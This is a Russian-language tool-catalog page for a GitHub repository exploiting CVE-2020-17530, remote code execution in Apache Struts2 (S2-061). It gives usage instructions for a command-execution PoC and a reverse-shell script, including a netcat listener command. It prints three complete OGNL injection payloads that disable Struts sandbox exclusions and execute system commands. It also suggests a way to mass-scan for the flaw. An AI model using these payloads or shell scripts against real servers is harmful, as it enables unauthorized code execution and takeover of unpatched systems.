Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-17530 — payload для S2-061, а также соответствующий простой PoC/Exp | Kitploit
Инструменты/GitHubGitHub/wuzuowei/cve-2020-17530
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

payload для S2-061, а также соответствующий простой PoC/Exp

Репозиторий
46225 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

S2-061

Скрипты написаны на основе тестовой среды уязвимости struts2-059/061 от vulhub, они не универсальны. Буду признателен за советы от экспертов.

  • struts2-061-poc.py (выполняет простые системные команды)

    Использование: python struts2-061-poc.py http://ip:port команда

    Пример: python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (получение реверс-шелла)

    Использование:

    1. Сначала прослушивайте указанный порт на машине A (например: nc -lvvp 7777)

    2. Запустите скрипт: python2 S2-061-shell.py target_url, где target_url — адрес уязвимой среды, в формате http://ip:port

    3. Следуя подсказкам скрипта, введите IP-адрес машины A и прослушиваемый порт. После этого вы получите шелл в окне прослушивания на машине A.



Ниже представлены payload'ы от нескольких экспертов:

payload-1:(от ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(от Smi1e)

Полный анализ статьи: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

Использование application — полный POC с идеей

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

Использование request — полный POC, действующий только в рамках одного запроса (рекомендуется)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

Примечание: Перед использованием в инструменте закодируйте приведённый выше код OGNL с помощью URL-кодирования.

Идея обнаружения:

В новых версиях Struts2 уже невозможно анализировать OGNL-выражения через конструирование параметров. Поэтому, если вы хотите использовать скрипт для массового сканирования на наличие этой уязвимости, можно попробовать перебирать все параметры и проверять, содержит ли страница ожидаемый результирующий текст.

Пример: %{ 'gcowsec-' + (2000 + 20).toString()}

Ожидаемый результат:

gcowsec-2020

Затем с помощью скрипта проверьте, содержится ли этот текст в ответе.

Скачать инструмент